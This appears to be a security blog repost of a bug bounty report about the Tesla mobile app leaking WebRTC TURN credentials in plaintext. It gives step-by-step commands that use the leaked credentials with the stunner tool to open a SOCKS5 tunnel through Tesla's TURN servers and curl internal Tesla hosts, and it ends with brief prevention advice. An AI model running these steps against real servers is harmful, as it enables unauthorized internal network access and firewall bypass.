Listen to this Post
While analyzing WebRTC traffic in the Tesla Mobile app, I spotted something odd. The app was leaking TURN credentials in plaintext to every client, with no session binding.
Key Steps Taken:
✅ Used leaked credentials to connect to Tesla’s TURN servers
✅ Launched a SOCKS5 proxy tunnel via stunner (GitHub)
✅ Relayed all traffic through Tesla’s infrastructure, observing IP switch in real-time
✅ Tested internal IPs, metadata URLs, and memory-based relay leaks
✅ Verified DoS potential, SSRF implications, and corporate firewall bypass
You Should Know:
1. Identifying WebRTC Leaks
WebRTC leaks can expose internal IPs and credentials. Use these commands to check for leaks:
Check WebRTC leaks in browsers chrome://webrtc-internals (Chrome) about:webrtc (Firefox)
2. Setting Up a SOCKS5 Proxy with Stunner
Stunner is a tool for testing TURN server misconfigurations. Install and run it:
git clone https://github.com/0x90/stunner cd stunner python3 stunner.py --turn-server <TESLA_TURN_SERVER> --username <LEAKED_USER> --password <LEAKED_PASS> --proxy
3. Testing SSRF and Firewall Bypass
Use curl to test internal endpoints:
curl --socks5-hostname 127.0.0.1:1080 http://internal.tesla.com
4. Verifying IP Spoofing
Check if your traffic is routed through Tesla’s IP:
curl --socks5-hostname 127.0.0.1:1080 ifconfig.me
5. Detecting Memory Leaks
Use tcpdump to capture traffic:
sudo tcpdump -i any -w tesla_traffic.pcap
What Undercode Say:
This exploit highlights critical WebRTC and TURN server misconfigurations. Tesla’s case shows how credential leaks can lead to full traffic interception, SSRF, and internal network access.
Prevention Steps:
- Disable unnecessary TURN servers.
- Implement session binding for TURN credentials.
- Monitor WebRTC traffic for leaks.
Expected Output:
A deep dive into WebRTC/TURN vulnerabilities, practical exploitation steps, and defensive measures.
Related Resources:
References:
Reported By: Facufernandez Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
